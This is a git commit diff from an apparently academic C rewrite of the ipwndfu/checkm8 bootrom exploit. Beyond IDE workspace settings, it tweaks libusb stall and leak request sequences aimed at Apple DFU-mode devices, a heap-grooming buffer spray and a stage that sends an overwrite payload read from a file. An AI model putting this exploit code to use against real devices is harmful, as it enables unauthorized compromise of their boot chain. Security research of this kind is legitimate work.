Smol adjustments

This commit is contained in:
2019-10-26 19:08:40 -04:00
parent a17fd89015
commit b5af2f5da6
3 changed files with 10 additions and 19 deletions

5
.idea/workspace.xml generated
View File

@@ -13,7 +13,6 @@
<component name="ChangeListManager"> <component name="ChangeListManager">
<list default="true" id="b2f61e55-9467-486e-b84a-47b98c1101b5" name="Default Changelist" comment=""> <list default="true" id="b2f61e55-9467-486e-b84a-47b98c1101b5" name="Default Changelist" comment="">
<change beforePath="$PROJECT_DIR$/.idea/workspace.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" /> <change beforePath="$PROJECT_DIR$/.idea/workspace.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
<change beforePath="$PROJECT_DIR$/CMakeLists.txt" beforeDir="false" afterPath="$PROJECT_DIR$/CMakeLists.txt" afterDir="false" />
<change beforePath="$PROJECT_DIR$/libusb_helpers.c" beforeDir="false" afterPath="$PROJECT_DIR$/libusb_helpers.c" afterDir="false" /> <change beforePath="$PROJECT_DIR$/libusb_helpers.c" beforeDir="false" afterPath="$PROJECT_DIR$/libusb_helpers.c" afterDir="false" />
<change beforePath="$PROJECT_DIR$/main.c" beforeDir="false" afterPath="$PROJECT_DIR$/main.c" afterDir="false" /> <change beforePath="$PROJECT_DIR$/main.c" beforeDir="false" afterPath="$PROJECT_DIR$/main.c" afterDir="false" />
</list> </list>
@@ -26,6 +25,7 @@
<component name="ClangdSettings"> <component name="ClangdSettings">
<option name="formatViaClangd" value="false" /> <option name="formatViaClangd" value="false" />
</component> </component>
<component name="ExecutionTargetManager" SELECTED_TARGET="CMakeBuildProfile:Debug" />
<component name="Git.Settings"> <component name="Git.Settings">
<option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" /> <option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$" />
</component> </component>
@@ -85,7 +85,8 @@
<path value="$PROJECT_DIR$/libusb" /> <path value="$PROJECT_DIR$/libusb" />
</ignored-roots> </ignored-roots>
<MESSAGE value="Fixed the weird libusb issue..." /> <MESSAGE value="Fixed the weird libusb issue..." />
<option name="LAST_COMMIT_MESSAGE" value="Fixed the weird libusb issue..." /> <MESSAGE value="ohmygod it worked (once)" />
<option name="LAST_COMMIT_MESSAGE" value="ohmygod it worked (once)" />
</component> </component>
<component name="XDebuggerManager"> <component name="XDebuggerManager">
<breakpoint-manager> <breakpoint-manager>

View File

@@ -20,7 +20,6 @@ void get_test_device(libusb_context *usb_ctx, struct libusb_device_bundle *bundl
usb_device = usb_device_list[i]; usb_device = usb_device_list[i];
libusb_get_device_descriptor(usb_device, &usb_desc); libusb_get_device_descriptor(usb_device, &usb_desc);
printf("%i\t%X:%X\n", i, usb_desc.idVendor, usb_desc.idProduct);
if(usb_desc.idVendor == 0x05AC && usb_desc.idProduct == 0x1227) if(usb_desc.idVendor == 0x05AC && usb_desc.idProduct == 0x1227)
{ {
libusb_open(usb_device, &usb_handle); libusb_open(usb_device, &usb_handle);
@@ -103,7 +102,6 @@ void libusb1_no_error_ctrl_transfer(libusb_device_handle *handle,
void stall(libusb_device_handle *handle) void stall(libusb_device_handle *handle)
{ {
printf("Stall\n");
unsigned char *data = malloc(0xC0); unsigned char *data = malloc(0xC0);
memset(data, 0xA, 0xC0); memset(data, 0xA, 0xC0);
libusb1_async_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1); libusb1_async_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1);
@@ -112,27 +110,24 @@ void stall(libusb_device_handle *handle)
void leak(libusb_device_handle *handle) void leak(libusb_device_handle *handle)
{ {
printf("Leak\n");
unsigned char *data = malloc(0xC0); unsigned char *data = malloc(0xC0);
memset(data, 0, 0xC0); memset(data, 0, 0xC0);
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1000); libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC0, 1);
free(data); free(data);
} }
void no_leak(libusb_device_handle *handle) void no_leak(libusb_device_handle *handle)
{ {
printf("No leak\n");
unsigned char *data = malloc(0xC1); unsigned char *data = malloc(0xC1);
memset(data, 0, 0xC1); memset(data, 0, 0xC1);
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC1, 1000); libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0xC1, 1);
free(data); free(data);
} }
void usb_req_stall(libusb_device_handle *handle) void usb_req_stall(libusb_device_handle *handle)
{ {
printf("Req stall\n");
unsigned char data[0]; unsigned char data[0];
libusb1_no_error_ctrl_transfer(handle, 0x2, 3, 0, 0x80, data, 0, 10000); libusb1_no_error_ctrl_transfer(handle, 0x2, 3, 0, 0x80, data, 0, 1);
} }
void usb_req_leak(libusb_device_handle *handle) void usb_req_leak(libusb_device_handle *handle)
@@ -140,13 +135,12 @@ void usb_req_leak(libusb_device_handle *handle)
printf("Req leak\n"); printf("Req leak\n");
unsigned char data[0x40]; unsigned char data[0x40];
memset(data, 0, 0x40); memset(data, 0, 0x40);
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x40, 1000); libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x40, 1);
} }
void usb_req_no_leak(libusb_device_handle *handle) void usb_req_no_leak(libusb_device_handle *handle)
{ {
printf("Req no leak\n");
unsigned char data[0x41]; unsigned char data[0x41];
memset(data, 0, 0x41); memset(data, 0, 0x41);
libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x41, 1000); libusb1_no_error_ctrl_transfer(handle, 0x80, 6, 0x304, 0x40A, data, 0x41, 1);
} }

8
main.c
View File

@@ -47,7 +47,6 @@ int complete_stage(int stage_function(libusb_device_handle *handle))
int stage1_function(libusb_device_handle *handle) int stage1_function(libusb_device_handle *handle)
{ {
printf("~~~ Stage 1 ~~~\n");
unsigned int i; unsigned int i;
stall(handle); stall(handle);
@@ -65,7 +64,6 @@ int stage1_function(libusb_device_handle *handle)
int stage2_function(libusb_device_handle *handle) int stage2_function(libusb_device_handle *handle)
{ {
printf("~~~ Stage 2 ~~~\n");
unsigned char databuf[0x800]; unsigned char databuf[0x800];
memset(databuf, 'A', 0x800); memset(databuf, 'A', 0x800);
@@ -79,8 +77,6 @@ int stage2_function(libusb_device_handle *handle)
int stage3_function(libusb_device_handle *handle) int stage3_function(libusb_device_handle *handle)
{ {
printf("~~~ Stage 3 ~~~\n");
unsigned char overwrite_buf[1524]; unsigned char overwrite_buf[1524];
FILE *overwrite_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/bin/overwrite.bin", "r"); FILE *overwrite_file = fopen("/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/bin/overwrite.bin", "r");
fread(overwrite_buf, 1524, 1, overwrite_file); fread(overwrite_buf, 1524, 1, overwrite_file);
@@ -113,13 +109,13 @@ int main()
if(ret == 0) if(ret == 0)
{ {
ret = complete_stage(stage2_function); ret = complete_stage(stage2_function);
usleep(500000);
} }
usleep(2000);
if(ret == 0) if(ret == 0)
{ {
ret = complete_stage(stage3_function); ret = complete_stage(stage3_function);
usleep(500000);
} }
complete_stage(check_function); complete_stage(check_function);